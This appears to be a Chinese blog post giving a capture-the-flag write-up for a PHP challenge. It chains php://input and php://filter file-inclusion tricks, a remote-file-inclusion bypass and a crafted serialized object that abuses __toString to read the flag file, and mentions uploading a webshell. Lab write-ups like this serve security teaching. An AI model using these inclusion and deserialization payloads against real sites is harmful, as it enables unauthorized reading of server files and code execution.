美文网首页
[世安杯]一道关于php反序列化漏洞的题目

[世安杯]一道关于php反序列化漏洞的题目

作者: jessica1123 | 来源:发表于2017-10-08 13:13 被阅读114次

    题目地址:http://ctf1.shiyanbar.com/shian-du/
    点进去,看到

    Paste_Image.png

    没什么信息,因此ctrl+u查看源码:

    Paste_Image.png

    看到提示,file_get_contents()函数,联想到文件包含漏洞,因此google一波,查到

    Paste_Image.png
    查看原文

    因此试一试:

    Paste_Image.png

    补充一种饶过方法:

    由于本题:allow_url_include=On
    因此可以包含一个远程文件,假设你的云服务IP地址为:xxx
    则可以输入http://ctf1.shiyanbar.com/shian-du/?user=http://xxxx/a.txt
    其中a.txt的内容为:the user is admin


    接着使用文件包含查看index.php和class.php的源码

    #url
    http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=php://filter/read=convert.base64-encode/resource=index.php
    http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php
    #POST
    the user is admin
    

    用base64解码,得到

    #index.php
    <?php
    $user = $_GET["user"];
    $file = $_GET["file"];
    $pass = $_GET["pass"];
    
    if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
        echo "hello admin!<br>";
        if(preg_match("/f1a9/",$file)){
            exit();
        }else{
            include($file); //class.php
            $pass = unserialize($pass);
            echo $pass;
        }
    }else{
        echo "you are not admin ! ";
    }
    
    ?>
    
    <!--
    $user = $_GET["user"];
    $file = $_GET["file"];
    $pass = $_GET["pass"];
    
    if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
        echo "hello admin!<br>";
        include($file); //class.php
    }else{
        echo "you are not admin ! ";
    }
     --
    
    #class.php
    <?php
    
    class Read{//f1a9.php
        public $file;
        public function __toString(){
            if(isset($this->file)){
                echo file_get_contents($this->file);    
            }
            return "__toString was called!";
        }
    }
    ?>
    

    看到源码之后,明白了需要使用$file把class.php包含进来,然后把$pass反序列化之后,echo $pass这句话会执行对象里面的__toString函数,具体的反序列化漏洞查看http://m.blog.csdn.net/qq_32400847/article/details/53873275
    因此,接下来只要找到序列化之后的字符串,然后GET给pass就行了
    复制class.php的源码到自己的虚拟机上,修改一下

    <?php
    
    class Read{//f1a9.php
        public $file;
        public function __toString(){
            if(isset($this->file)){
                echo file_get_contents($this->file);    
            }
            return "__toString was called!";
        }
    }
    #add here
    $usr = new Read();
    $usr->file='./f1a9.php';
    echo serialize($usr);    
    ?>
    

    保存之后,通过浏览器访问,得到:

    O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}
    
    Paste_Image.png

    接着把这个序列化字符串赋值给pass,以及用file包含class.php,构造出:

    #URL
    http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}
    #POST
    the user is admin
    

    执行之后得到:

    Paste_Image.png

    发现什么都没有,CTRL+U查看源码

    Paste_Image.png

    这样就得到了flag;


    此外,可以参考我之前的一篇文章php伪协议的使用[获得webshell]
    使用file=php://input,之后传入一个webshell,再读取f1a9.php


    注:blog链接
    文件包含:https://github.com/L4oZu1/LFIboomCTF
    反序列化:http://m.blog.csdn.net/qq_32400847/article/details/53873275

    相关文章

      网友评论

          本文标题:[世安杯]一道关于php反序列化漏洞的题目

          本文链接:https://www.haomeiwen.com/subject/srpeyxtx.html